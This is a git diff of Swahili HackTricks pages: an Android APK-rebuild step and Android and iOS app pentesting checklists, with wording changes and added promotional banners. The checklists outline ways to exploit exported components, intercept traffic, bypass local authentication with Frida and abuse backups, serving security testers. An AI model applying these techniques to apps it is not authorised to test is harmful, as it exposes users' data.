||||||
</network-security-config>
|
</network-security-config>
|
||||||
```
|
```
|
||||||
Kisha hifadhi faili & rudi nyuma kutoka kwenye mafaili yote na jenga upya apk kwa kutumia amri ifuatayo: `apktool b *jina-la-folda/* -o *jina-la-faili-linalotoka.apk*`
|
Kisha hifadhi faili & rudi nyuma kutoka kwenye miongozo yote & jenga upya apk kwa amri ifuatayo: `apktool b *jina-la-folda/* -o *faili-ya-matokeo.apk*`
|
||||||
|
|
||||||
![](../../.gitbook/assets/img12.png)
|
![](../../.gitbook/assets/img12.png)
|
||||||
|
|
||||||
|
@ -57,7 +65,13 @@ Hatimaye, unahitaji tu **kusaini programu mpya**. [Soma sehemu hii ya ukurasa wa
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
**Kikundi cha Usalama cha Kujitahidi Sana**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
@ -65,6 +79,6 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,15 +6,23 @@
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
### [Jifunze Msingi wa Android](android-app-pentesting/#2-android-application-fundamentals)
|
### [Jifunze Msingi wa Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||||
|
|
||||||
* [ ] [Misingi](android-app-pentesting/#fundamentals-review)
|
* [ ] [Msingi](android-app-pentesting/#fundamentals-review)
|
||||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||||
* [ ] [Vipengele vya Kuingia](android-app-pentesting/#application-entry-points)
|
* [ ] [Vipengele vya Kuingia](android-app-pentesting/#application-entry-points)
|
||||||
* [ ] [Shughuli](android-app-pentesting/#launcher-activity)
|
* [ ] [Shughuli](android-app-pentesting/#launcher-activity)
|
||||||
|
@ -23,44 +31,44 @@
|
||||||
* [ ] [Huduma](android-app-pentesting/#services-1)
|
* [ ] [Huduma](android-app-pentesting/#services-1)
|
||||||
* [ ] [Wapokeaji wa Matangazo](android-app-pentesting/#broadcast-receivers)
|
* [ ] [Wapokeaji wa Matangazo](android-app-pentesting/#broadcast-receivers)
|
||||||
* [ ] [Nia](android-app-pentesting/#intents)
|
* [ ] [Nia](android-app-pentesting/#intents)
|
||||||
* [ ] [Mnasi wa Nia](android-app-pentesting/#intent-filter)
|
* [ ] [Mtego wa Nia](android-app-pentesting/#intent-filter)
|
||||||
* [ ] [Vipengele vingine](android-app-pentesting/#other-app-components)
|
* [ ] [Vipengele vingine](android-app-pentesting/#other-app-components)
|
||||||
* [ ] [Jinsi ya kutumia ADB](android-app-pentesting/#adb-android-debug-bridge)
|
* [ ] [Jinsi ya kutumia ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||||
* [ ] [Jinsi ya kuhariri Smali](android-app-pentesting/#smali)
|
* [ ] [Jinsi ya kuhariri Smali](android-app-pentesting/#smali)
|
||||||
|
|
||||||
### [Uchambuzi Stahiki](android-app-pentesting/#static-analysis)
|
### [Uchambuzi Stahiki](android-app-pentesting/#static-analysis)
|
||||||
|
|
||||||
* [ ] Angalia matumizi ya [ufichaji](android-checklist.md#some-obfuscation-deobfuscation-information), angalia kama simu ya mkononi imefungwa mizizi, kama inatumika emulator na uchunguzi wa kuzuia uharibifu. [Soma hii kwa maelezo zaidi](android-app-pentesting/#other-checks).
|
* [ ] Angalia matumizi ya [ufichaji](android-checklist.md#some-obfuscation-deobfuscation-information), angalia kama simu imefungwa mizizi, kama inatumika emulator na uchunguzi wa kuzuia uharibifu. [Soma hii kwa maelezo zaidi](android-app-pentesting/#other-checks).
|
||||||
* [ ] Programu zenye hisia (kama programu za benki) zinapaswa kuangalia kama simu imefungwa mizizi na kuchukua hatua kwa kuzingatia hilo.
|
* [ ] Programu nyeti (kama programu za benki) inapaswa kuangalia kama simu imefungwa mizizi na inapaswa kuchukua hatua kwa kuzingatia hilo.
|
||||||
* [ ] Tafuta [maneno ya kuvutia](android-app-pentesting/#looking-for-interesting-info) (nywila, URL, API, encryption, backdoors, tokens, Bluetooth uuids...).
|
* [ ] Tafuta [maneno ya kuvutia](android-app-pentesting/#looking-for-interesting-info) (nywila, URL, API, encryption, backdoors, tokens, Bluetooth uuids...).
|
||||||
* [ ] Tahadhari maalum kwa [firebase ](android-app-pentesting/#firebase)APIs.
|
* [ ] Tahadhari maalum kwa [firebase ](android-app-pentesting/#firebase)APIs.
|
||||||
* [ ] [Soma maelezo:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
* [ ] [Soma maelezo:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||||
* [ ] Angalia kama programu iko katika hali ya kurekebisha na jaribu "kuitumia"
|
* [ ] Angalia kama programu iko katika hali ya kurekebisha na jaribu "kuitumia"
|
||||||
* [ ] Angalia kama APK inaruhusu nakala za akiba
|
* [ ] Angalia kama APK inaruhusu nakala rudufu
|
||||||
* [ ] Shughuli Zilizoruhusiwa
|
* [ ] Shughuli Zilizowekwa Wazi
|
||||||
* [ ] Watoa Huduma za Yaliyomo
|
* [ ] Watoa Huduma za Yaliyomo
|
||||||
* [ ] Huduma Zilizofichuliwa
|
* [ ] Huduma Zilizofichuliwa
|
||||||
* [ ] Wapokeaji wa Matangazo
|
* [ ] Wapokeaji wa Matangazo
|
||||||
* [ ] URL Schemes
|
* [ ] URL Schemes
|
||||||
* [ ] Je, programu ina[hifadhi data bila usalama ndani au nje](android-app-pentesting/#insecure-data-storage)?
|
* [ ] Je, programu ina[hifadhi data bila usalama ndani au nje](android-app-pentesting/#insecure-data-storage)?
|
||||||
* [ ] Je, kuna [nywila iliyoandikwa kwa nguvu au iliyohifadhiwa kwenye diski](android-app-pentesting/#poorkeymanagementprocesses)? Je, programu inatumia [algorithms za crypto zisizo salama](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
* [ ] Je, kuna [nywila iliyoingizwa au iliyohifadhiwa kwenye diski](android-app-pentesting/#poorkeymanagementprocesses)? Je, programu inatumia [algorithms za crypto zisizo salama](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||||
* [ ] Maktaba zote zimekompiliwa kwa kutumia bendera ya PIE?
|
* [ ] Maktaba zote zimekusanywa kwa kutumia bendera ya PIE?
|
||||||
* [ ] Usisahau kuwa kuna[ Wachambuzi wa Android wa Stahiki](android-app-pentesting/#automatic-analysis) ambao wanaweza kukusaidia sana wakati huu.
|
* [ ] Usisahau kuwa kuna[ Wachambuzi wa Android wa Stahiki](android-app-pentesting/#automatic-analysis) ambao wanaweza kukusaidia sana wakati huu.
|
||||||
|
|
||||||
### [Uchambuzi wa Kudumu](android-app-pentesting/#dynamic-analysis)
|
### [Uchambuzi wa Kudumu](android-app-pentesting/#dynamic-analysis)
|
||||||
|
|
||||||
* [ ] Andaa mazingira ([mtandaoni](android-app-pentesting/#online-dynamic-analysis), [VM ya ndani au ya kimwili](android-app-pentesting/#local-dynamic-analysis))
|
* [ ] Andaa mazingira ([mtandaoni](android-app-pentesting/#online-dynamic-analysis), [VM ya ndani au ya kimwili](android-app-pentesting/#local-dynamic-analysis))
|
||||||
* [ ] Je, kuna [ufichuaji usio wa makusudi wa data](android-app-pentesting/#unintended-data-leakage) (kuingiza, kunakili/kubandika, machapisho ya kuharibika)?
|
* [ ] Je, kuna [ufichuaji usio wa makusudi wa data](android-app-pentesting/#unintended-data-leakage) (kuingiza, kunakili/kubandika, machapisho ya kuharibika)?
|
||||||
* [ ] [Taarifa za siri zinahifadhiwa kwenye maboksi ya SQLite](android-app-pentesting/#sqlite-dbs)?
|
* [ ] [Taarifa za siri zinahifadhiwa kwenye mabadiliko ya SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||||
* [ ] [Shughuli zilizoruhusiwa zinazoweza kuch exploited](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
* [ ] [Shughuli zilizowekwa wazi zinazoweza kudukuliwa](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||||
* [ ] [Watoa Huduma zinazoweza kuch exploited](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
* [ ] [Watoa Huduma zinazoweza kudukuliwa](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||||
* [ ] [Huduma zilizoruhusiwa zinazoweza kuch exploited](android-app-pentesting/#exploiting-services)?
|
* [ ] [Huduma zilizowekwa wazi zinazoweza kudukuliwa](android-app-pentesting/#exploiting-services)?
|
||||||
* [ ] [Wapokeaji wa Matangazo wanaoweza kuch exploited](android-app-pentesting/#exploiting-broadcast-receivers)?
|
* [ ] [Wapokeaji wa Matangazo wanaoweza kudukuliwa](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||||
* [ ] Je, programu inatuma taarifa kwa maandishi wazi/kutumia algorithms dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? je, ni rahisi kufanya MitM?
|
* [ ] Je, programu inatuma habari kwa wazi/inaotumia algorithms dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? je, ni rahisi kufanya MitM?
|
||||||
* [ ] [Kagua trafiki ya HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
* [ ] [Angalia trafiki ya HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||||
* [ ] Hili ni muhimu sana, kwa sababu ukichukua trafiki ya HTTP unaweza kutafuta udhaifu wa kawaida wa Wavuti (Hacktricks ina habari nyingi kuhusu udhaifu wa Wavuti).
|
* [ ] Hii ni muhimu sana, kwa sababu ukichukua trafiki ya HTTP unaweza kutafuta udhaifu wa kawaida wa Wavuti (Hacktricks ina habari nyingi kuhusu udhaifu wa Wavuti).
|
||||||
* [ ] Angalia kwa uwezekano wa [Majumuisho ya Upande wa Mteja wa Android](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa stahiki utasaidia hapa)
|
* [ ] Angalia uwezekano wa [Majumuisho ya Upande wa Mteja wa Android](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa tuli utasaidia hapa)
|
||||||
* [ ] [Frida](android-app-pentesting/#frida): Tu Frida, itumie kupata data ya kuvutia ya kudumu kutoka kwenye programu (labda baadhi ya nywila...)
|
* [ ] [Frida](android-app-pentesting/#frida): Tu Frida, itumie kupata data ya kuvutia ya kudumu kutoka kwenye programu (labda nywila fulani...)
|
||||||
|
|
||||||
### Baadhi ya habari za ufichaji/Deobfuscation
|
### Baadhi ya habari za ufichaji/Deobfuscation
|
||||||
|
|
||||||
|
|
|
@ -3,104 +3,136 @@
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kuautomatisha mchakato** wa kazi zinazotumia zana za jamii za **kisasa zaidi** duniani.\
|
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa kutumia zana za jamii za **juu zaidi** duniani.\
|
||||||
Pata Ufikiaji Leo:
|
Pata Ufikiaji Leo:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
### Maandalizi
|
### Maandalizi
|
||||||
|
|
||||||
* [ ] Soma [**Misingi ya iOS**](ios-pentesting/ios-basics.md)
|
* [ ] Soma [**Misingi ya iOS**](ios-pentesting/ios-basics.md)
|
||||||
* [ ] Jipange kwa kusoma [**Mazingira ya Kujaribu iOS**](ios-pentesting/ios-testing-environment.md)
|
* [ ] Andaa mazingira yako kwa kusoma [**Mazingira ya Majaribio ya iOS**](ios-pentesting/ios-testing-environment.md)
|
||||||
* [ ] Soma sehemu zote za [**Uchambuzi wa Awali wa iOS**](ios-pentesting/#initial-analysis) ili kujifunza hatua za kawaida za kudukua programu ya iOS
|
* [ ] Soma sehemu zote za [**Uchambuzi wa Awali wa iOS**](ios-pentesting/#initial-analysis) kujifunza hatua za kawaida za kudukua programu ya iOS
|
||||||
|
|
||||||
### Uhifadhi wa Data
|
### Uhifadhi wa Data
|
||||||
|
|
||||||
* [ ] [**Faili za Plist**](ios-pentesting/#plist) zinaweza kutumika kuhifadhi habari nyeti.
|
* [ ] [**Faili za Plist**](ios-pentesting/#plist) zinaweza kutumika kuhifadhi habari nyeti.
|
||||||
* [ ] [**Core Data**](ios-pentesting/#core-data) (Hifadhidata ya SQLite) inaweza kuhifadhi habari nyeti.
|
* [ ] [**Core Data**](ios-pentesting/#core-data) (database ya SQLite) inaweza kuhifadhi habari nyeti.
|
||||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (Hifadhidata ya SQLite) inaweza kuhifadhi habari nyeti.
|
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (database ya SQLite) inaweza kuhifadhi habari nyeti.
|
||||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) inaweza kuwa na hitilafu ya usanidi.
|
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) usio sahihi.
|
||||||
* [ ] [**Hifadhidata za Realm**](ios-pentesting/#realm-databases) zinaweza kuhifadhi habari nyeti.
|
* [ ] [**Databases za Realm**](ios-pentesting/#realm-databases) zinaweza kuhifadhi habari nyeti.
|
||||||
* [ ] [**Hifadhidata za Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) zinaweza kuhifadhi habari nyeti.
|
* [ ] [**Databases za Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) zinaweza kuhifadhi habari nyeti.
|
||||||
* [ ] [**Vidakuzi vya Binary**](ios-pentesting/#cookies) vinaweza kuhifadhi habari nyeti.
|
* [ ] [**Cookies za Binary**](ios-pentesting/#cookies) zinaweza kuhifadhi habari nyeti
|
||||||
* [ ] [**Data ya Cache**](ios-pentesting/#cache) inaweza kuhifadhi habari nyeti.
|
* [ ] [**Data za Cache**](ios-pentesting/#cache) zinaweza kuhifadhi habari nyeti
|
||||||
* [ ] [**Picha za moja kwa moja**](ios-pentesting/#snapshots) zinaweza kuhifadhi habari nyeti za kuonekana.
|
* [ ] [**Snapshots za Kiotomatiki**](ios-pentesting/#snapshots) zinaweza kuhifadhi habari nyeti za kuona
|
||||||
* [ ] [**Keychain**](ios-pentesting/#keychain) kawaida hutumiwa kuhifadhi habari nyeti ambayo inaweza kuachwa wakati wa kuuza simu.
|
* [ ] [**Keychain**](ios-pentesting/#keychain) kawaida hutumika kuhifadhi habari nyeti ambayo inaweza kuachwa wakati wa kuuza simu.
|
||||||
* [ ] Kwa ufupi, tu **angalia habari nyeti iliyohifadhiwa na programu kwenye mfumo wa faili**
|
* [ ] Kwa muhtasari, tu **angalia habari nyeti iliyohifadhiwa na programu kwenye mfumo wa faili**
|
||||||
|
|
||||||
### Vibodi
|
### Vibodi
|
||||||
|
|
||||||
* [ ] Je! programu inaruhusu matumizi ya [**vibodi za desturi**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
* [ ] Je! Programu inaruhusu kutumia [**vibodi za desturi**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||||
* [ ] Angalia ikiwa habari nyeti imehifadhiwa kwenye [**faili za vibodi**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
* [ ] Angalia ikiwa habari nyeti imehifadhiwa kwenye [**faili za vibodi**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||||
|
|
||||||
### **Kumbukumbu**
|
### **Kumbukumbu**
|
||||||
|
|
||||||
* [ ] Angalia ikiwa [**habari nyeti inaandikwa kwenye kumbukumbu**](ios-pentesting/#logs)
|
* [ ] Angalia ikiwa [**habari nyeti inalogwa**](ios-pentesting/#logs)
|
||||||
|
|
||||||
### Nakala za Akiba
|
### Nakala za Akiba
|
||||||
|
|
||||||
* [ ] [**Nakala za akiba**](ios-pentesting/#backups) zinaweza kutumika ku **fikia habari nyeti** iliyohifadhiwa kwenye mfumo wa faili (angalia hatua ya awali ya orodha hii)
|
* [ ] [**Nakala za Akiba**](ios-pentesting/#backups) zinaweza kutumika kwa **kupata habari nyeti** iliyohifadhiwa kwenye mfumo wa faili (angalia hatua ya kwanza ya orodha hii)
|
||||||
* [ ] Pia, [**nakala za akiba**](ios-pentesting/#backups) zinaweza kutumika kubadilisha baadhi ya mipangilio ya programu, kisha **kurejesha** nakala ya akiba kwenye simu, na kwa kuwa **mipangilio iliyobadilishwa** ina **kubebwa**, baadhi ya (usalama) **utendaji** unaweza **kuepukwa**
|
* [ ] Pia, [**nakala za akiba**](ios-pentesting/#backups) zinaweza kutumika kwa **kurekebisha baadhi ya mipangilio ya programu**, kisha **kurejesha** nakala ya akiba kwenye simu, na kwa kuwa **mipangilio iliyobadilishwa** ina **pakia** baadhi ya (usalama) **kazi** inaweza **kipuuzwa**
|
||||||
|
|
||||||
### **Kumbukumbu za Programu**
|
### **Kumbukumbu za Programu**
|
||||||
|
|
||||||
* [ ] Angalia habari nyeti ndani ya [**kumbukumbu za programu**](ios-pentesting/#testing-memory-for-sensitive-data)
|
* [ ] Angalia habari nyeti ndani ya [**kumbukumbu za programu**](ios-pentesting/#testing-memory-for-sensitive-data)
|
||||||
|
|
||||||
### **Ufichuzi wa Utendaji Nyeti Kupitia IPC**
|
### **Udanganyifu wa Kriptografia**
|
||||||
|
|
||||||
|
* [ ] Angalia ikiwa unaweza kupata [**nywila zilizotumiwa kwa kriptografia**](ios-pentesting/#broken-cryptography)
|
||||||
|
* [ ] Angalia matumizi ya [**algorithms zilizopitwa/zwafu**](ios-pentesting/#broken-cryptography) kutuma/kuhifadhi data nyeti
|
||||||
|
* [ ] [**Kaa na fuatilia kazi za kriptografia**](ios-pentesting/#broken-cryptography)
|
||||||
|
|
||||||
|
### **Uthibitishaji wa Kienyeji**
|
||||||
|
|
||||||
|
* [ ] Ikiwa [**uthibitishaji wa kienyeji**](ios-pentesting/#local-authentication) unatumika kwenye programu, unapaswa kuangalia jinsi uthibitishaji unavyofanya kazi.
|
||||||
|
* [ ] Ikiwa inatumia [**Itifaki ya Uthibitishaji wa Kienyeji**](ios-pentesting/#local-authentication-framework) inaweza kudukuliwa kwa urahisi
|
||||||
|
* [ ] Ikiwa inatumia [**kazi ambayo inaweza kudukuliwa kwa muda**](ios-pentesting/#local-authentication-using-keychain) unaweza kuunda skripti ya frida ya desturi
|
||||||
|
|
||||||
|
### Kufichua Kazi Nyeti Kupitia IPC
|
||||||
|
|
||||||
* [**Wakala wa URI wa Desturi / Viungo vya Kina / Mbinu za Desturi**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
* [**Wakala wa URI wa Desturi / Viungo vya Kina / Mbinu za Desturi**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||||
* [ ] Angalia ikiwa programu ina **usajili wa itifaki/scheme** yoyote
|
* [ ] Angalia ikiwa programu ina **kujiandikisha itifaki/mbinu**
|
||||||
* [ ] Angalia ikiwa programu ina **usajili wa kutumia** itifaki/scheme yoyote
|
* [ ] Angalia ikiwa programu ina **kujiandikisha kutumia** itifaki/mbinu yoyote
|
||||||
* [ ] Angalia ikiwa programu inatarajia kupokea aina yoyote ya habari nyeti kutoka kwa itifaki ya desturi ambayo inaweza **kukamatwa** na programu nyingine inayosajili itifaki hiyo hiyo
|
* [ ] Angalia ikiwa programu ina **tarajia kupokea aina yoyote ya habari nyeti** kutoka kwa mbinu ya desturi ambayo inaweza **kutekwa** na programu nyingine inayojiandikisha itifaki sawa
|
||||||
* [ ] Angalia ikiwa programu **haiangalii na kusafisha** kuingia kwa mtumiaji kupitia itifaki ya desturi na baadhi ya **mdororo unaweza kutumiwa**
|
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** mwingiliano wa mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
|
||||||
* [ ] Angalia ikiwa programu **inafichua hatua nyeti** ambayo inaweza kuitwa kutoka mahali popote kupitia itifaki ya desturi
|
* [ ] Angalia ikiwa programu **inafichua hatua yoyote nyeti** inayoweza kuitwa kutoka mahali popote kupitia mbinu ya desturi
|
||||||
* [**Viungo vya Kina**](ios-pentesting/#universal-links)
|
* [**Viungo vya Kina**](ios-pentesting/#universal-links)
|
||||||
* [ ] Angalia ikiwa programu ina **usajili wa itifaki/scheme ya kawaida**
|
* [ ] Angalia ikiwa programu ina **kujiandikisha itifaki/mbinu za kina**
|
||||||
* [ ] Angalia faili ya `apple-app-site-association`
|
* [ ] Angalia faili ya `apple-app-site-association`
|
||||||
* [ ] Angalia ikiwa programu **haiangalii na kusafisha** kuingia kwa mtumiaji kupitia itifaki ya desturi na baadhi ya **mdororo unaweza kutumiwa**
|
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** mwingiliano wa mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
|
||||||
* [ ] Angalia ikiwa programu **inafichua hatua nyeti** ambayo inaweza kuitwa kutoka mahali popote kupitia itifaki ya desturi
|
* [ ] Angalia ikiwa programu **inafichua hatua yoyote nyeti** inayoweza kuitwa kutoka mahali popote kupitia mbinu ya desturi
|
||||||
* [**Kushiriki UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
|
* [**Kushiriki Kupitia UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||||
* [ ] Angalia ikiwa programu inaweza kupokea UIActivities na ikiwa inawezekana kudukua mdororo wowote na shughuli iliyoundwa kwa umakini
|
